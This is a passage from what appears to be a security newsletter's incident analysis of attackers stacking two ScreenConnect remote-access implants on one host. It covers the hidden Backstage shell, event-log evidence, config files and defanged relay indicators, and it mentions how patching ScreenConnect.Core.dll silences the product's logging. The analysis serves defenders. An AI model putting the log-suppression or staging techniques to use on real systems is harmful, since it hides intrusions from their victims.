href="https://www.huntress.com/blog/w2-malvertising-to-kernel-mode-edr-kill">exactly this stacking on one host</a>: a rogue trial instance, a second the same day, then a third on a self-hosted relay days later, with FleetDeck as backup RMM. If you read one other thing on this, read that. What I can add is the <strong>compressed version, watched end to end</strong>: both implants on one host nine minutes apart, the second pushed through the first by a human visible in the process tree, and the difference between them still on disk afterwards.</p><h3>The handoff, in order</h3><ol><li><p><strong>The cloud client installs.</strong> The vendor-signed client you have met already, dialling <code>instance-n70ets-relay[.]screenconnect[.]com</code> on 443.</p></li><li><p><strong>Four minutes later, a human takes the session.</strong> Not as a <code>cmd.exe</code> or <code>powershell.exe</code> child, which is what I had predicted and what most child-shell rules watch for. As <code>ScreenConnect.WindowsBackstageShell.exe</code>, spawned by <code>ScreenConnect.ClientService.exe</code>. Backstage is ScreenConnect&#8217;s hidden shell: a full command environment with no window on the user&#8217;s desktop. A rule keyed on cmd or powershell would have watched the whole session happen and said nothing.</p></li><li><p><strong>The operator pushes a second installer.</strong> ScreenConnect&#8217;s <code>RunFile</code> command drops it into <code>C:\Windows\SystemTemp\ScreenConnect\&lt;version&gt;\Temp\</code> and runs it. That is the SystemTemp beat from earlier: not an install path, an operator staging path. A file written there and then executed means a <strong>human</strong> pushed something. Whether that human was authorised is the next question, and the file will not answer it.</p></li><li><p><strong>A second service registers</strong>, and that one dials <code>wonderxp[.]top</code> on <code>8041</code>, a foreign domain on the classic self-hosted port.</p></li></ol><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!M_ym!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 424w, https://substackcdn.com/image/fetch/$s_!M_ym!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 848w, https://substackcdn.com/image/fetch/$s_!M_ym!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 1272w, https://substackcdn.com/image/fetch/$s_!M_ym!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!M_ym!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png" width="1181" height="161" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:161,&quot;width&quot;:1181,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63699,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!M_ym!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 424w, https://substackcdn.com/image/fetch/$s_!M_ym!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 848w, https://substackcdn.com/image/fetch/$s_!M_ym!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 1272w, https://substackcdn.com/image/fetch/$s_!M_ym!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0370e60d-dc2d-4016-a050-f9a4c36cfc3f_1181x161.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div><figcaption class="image-caption"><code>ScreenConnect.ClientService.exe</code><em> (SYSTEM) parenting </em><code>ScreenConnect.WindowsBackstageShell.exe</code><em>. This is the operator, and it is not a shell any cmd/powershell rule is looking at.</em></figcaption></figure></div><h3>The product logs the operator by name</h3><p>One more place to look, and it is the cheapest evidence in this piece. <strong>ScreenConnect keeps its own Application event log, and it records the operator&#8217;s session by name.</strong> No EDR, no Sysmon, no query language. Just <code>Windows Logs</code> -&gt; <code>Application</code>, filtered to source <code>ScreenConnect</code>.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TE82!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 424w, https://substackcdn.com/image/fetch/$s_!TE82!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 848w, https://substackcdn.com/image/fetch/$s_!TE82!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 1272w, https://substackcdn.com/image/fetch/$s_!TE82!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!TE82!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png" width="1329" height="282" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:282,&quot;width&quot;:1329,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:135821,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!TE82!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 424w, https://substackcdn.com/image/fetch/$s_!TE82!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 848w, https://substackcdn.com/image/fetch/$s_!TE82!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 1272w, https://substackcdn.com/image/fetch/$s_!TE82!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50d134df-09e7-4402-aed2-eada745bdf8c_1329x282.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div><figcaption class="image-caption"><em>Read the Implant column. </em><code>scream care</code><em> works on the cloud client, pushes the installer, then </em><code>spacex7</code><em> connects on the self-hosted one &amp; </em><code>scream care</code><em> drops off 18 seconds later.</em></figcaption></figure></div><p>Three event IDs carry it:</p><ul><li><p><strong>100 / 101</strong>, a Host user connected and disconnected. The body names the operator&#8217;s own session label, the relay URL and the instance fingerprint. Here that is <code>scream care</code> on the cloud implant and <code>spacex7</code> on the self-hosted one. <strong>Two different labels</strong>, so the second implant was not a copy of the first.</p></li><li><p><strong>201</strong>, files transferred. <code>Transferred files with action 'Run': ScreenConnect.ClientSetup (1).msi</code>. That is the second implant pushed through the first, named, action stated, logged by the product.</p></li></ul><p>It also corrected me. Every other source I had went quiet after 17:09:46, so I had the operator down as four and a half minutes of work. The Application log has <code>spacex7</code> disconnecting at <strong>17:17:46</strong>. Actual dwell was about <strong>twelve and a half minutes</strong>, and they logged off deliberately rather than dropping. I only found that because I went back for a log I had not collected the first time.</p><blockquote><p>Every other source went quiet at 17:09:46. The product&#8217;s own log had the operator still working until 17:17:46. The difference between those two numbers is the difference between a four minute incident and a twelve minute one.</p></blockquote><p>One caveat worth carrying: these events are suppressible. Hunt &amp; Hackett showed in 2021 that patching one call out of the unsigned ScreenConnect.Core.dll with dnSpy silences every ScreenConnect event while the client keeps working. Treat them as strong corroboration, never as the thing you rely on.</p><h3>Why two, and why one is disposable</h3><p>The published answer is redundancy. Huntress puts it directly: stacking relays &#8220;ensures the attacker maintains access even if one relay is discovered and removed&#8221;, and they treat multiple ScreenConnect instances on one host, especially trial instances you did not deploy, as a strong indicator of compromise on its own. Microsoft, Acronis and others describe the same behaviour with different second tools: Tactical RMM, MeshAgent, FleetDeck. Remediate the implant your alert fired on, miss the other, and the intrusion continues. The economics agree. A trial instance is instant, free, correctly signed and on a domain plenty of estates already allowlist because real MSPs live there. It is disposable by design. A relay you own is not, and <code>wonderxp[.]top</code> had been running since April, which is not throwaway infrastructure.</p><h3>What is on disk: a silent config and a fifteen-month-old build</h3><p>My samples add a second reading, and it is an <strong>inference from one host</strong> rather than something the literature says: the two implants were not configured the same way. The self-hosted implant shipped an <code>app.config</code> that turns off every user-visible indicator, no tray icon, no &#8220;you are being controlled&#8221; banner, no connect toast. The cloud implant shipped no such file and ran the visible defaults. The signed client gets them in. The self-hosted one is what they keep, and that intent is on disk.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3QPO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3QPO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 424w, https://substackcdn.com/image/fetch/$s_!3QPO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 848w, https://substackcdn.com/image/fetch/$s_!3QPO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 1272w, https://substackcdn.com/image/fetch/$s_!3QPO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!3QPO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png" width="948" height="515" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:515,&quot;width&quot;:948,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:132907,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3QPO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 424w, https://substackcdn.com/image/fetch/$s_!3QPO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 848w, https://substackcdn.com/image/fetch/$s_!3QPO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 1272w, https://substackcdn.com/image/fetch/$s_!3QPO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fec9fd875-6942-459a-91e0-8873c9ce7eeb_948x515.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Two directory listings, and the first finding is the file that is missing from the right-hand one.</em></figcaption></figure></div><p><strong>The second finding is in the timestamps.</strong> Both implants landed on the same host the same afternoon, but their files are not from the same era: the cloud client&#8217;s configs are stamped <strong>3 September 2026</strong>, the self-hosted client&#8217;s <strong>13 June 2025</strong>. Fifteen months apart in one directory listing.</p><p>The client that gets them in is whatever ConnectWise ships this week, built fresh from a trial instance on the day. The client they keep came from a self-hosted server nobody has rebuilt in over a year. Two consequences for the hunt:</p><ul><li><p><strong>The self-hosted binary will not match the hash or version of any current vendor release</strong>, so a rule pinned to what ScreenConnect ships today walks past the implant that matters.</p></li><li><p><strong>A build that old is not disposable</strong>, the same conclusion <code>wonderxp[.]top</code> supports from the network side. The trial instance is meant to be burned. The other one is somebody&#8217;s kit.</p></li></ul><p><strong>On this sample</strong>, the stage the operator keeps is configured for silence. Whether every self-hosted build is assembled that way is not something one host can tell you. A hunt that stops at &#8220;is this the official ConnectWise cloud?&#8221; waves the first implant through and never sees the second.</p><h2>Collect the box: the answers are still on disk</h2><p>If your queries put a ScreenConnect client on a box behaving like an operator tool, the evidence is on disk, and the box will tell you every piece of infrastructure it was built to talk to.</p><ul><li><p><code>system.config</code> carries the <code>h=</code> relay host, <code>p=</code> port and the RSA key launch constraint. Read the relay model straight off it, statically, without waiting for a callback.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bi0W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bi0W!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 424w, https://substackcdn.com/image/fetch/$s_!Bi0W!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 848w, https://substackcdn.com/image/fetch/$s_!Bi0W!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 1272w, https://substackcdn.com/image/fetch/$s_!Bi0W!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bi0W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png" width="1163" height="609" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:609,&quot;width&quot;:1163,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:277704,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Bi0W!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 424w, https://substackcdn.com/image/fetch/$s_!Bi0W!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 848w, https://substackcdn.com/image/fetch/$s_!Bi0W!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 1272w, https://substackcdn.com/image/fetch/$s_!Bi0W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c85bbf8-2cae-4e8c-bb0c-e3ed2fd55020_1163x609.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Left, the cloud implant. Right, the self-hosted one. Relay host, port and server key, on disk, with the machine offline and the service stopped. This is the artifact that still works after the network evidence is gone.</em></figcaption></figure></div><ul><li><p><strong>The EID 7045 service</strong> names the thumbprint and holds the full launch string, <code>e=Access&amp;y=Guest</code> included.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PqKB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PqKB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 424w, https://substackcdn.com/image/fetch/$s_!PqKB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 848w, https://substackcdn.com/image/fetch/$s_!PqKB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 1272w, https://substackcdn.com/image/fetch/$s_!PqKB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!PqKB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png" width="727" height="820" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:820,&quot;width&quot;:727,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:237345,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/216124108?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PqKB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 424w, https://substackcdn.com/image/fetch/$s_!PqKB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 848w, https://substackcdn.com/image/fetch/$s_!PqKB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 1272w, https://substackcdn.com/image/fetch/$s_!PqKB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d79c58a-d506-4231-8ee6-38502e17de1e_727x820.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Two service installs nine minutes apart, and the second one&#8217;s </em><code>ImagePath</code><em> carries role, relay, port, session ID and server 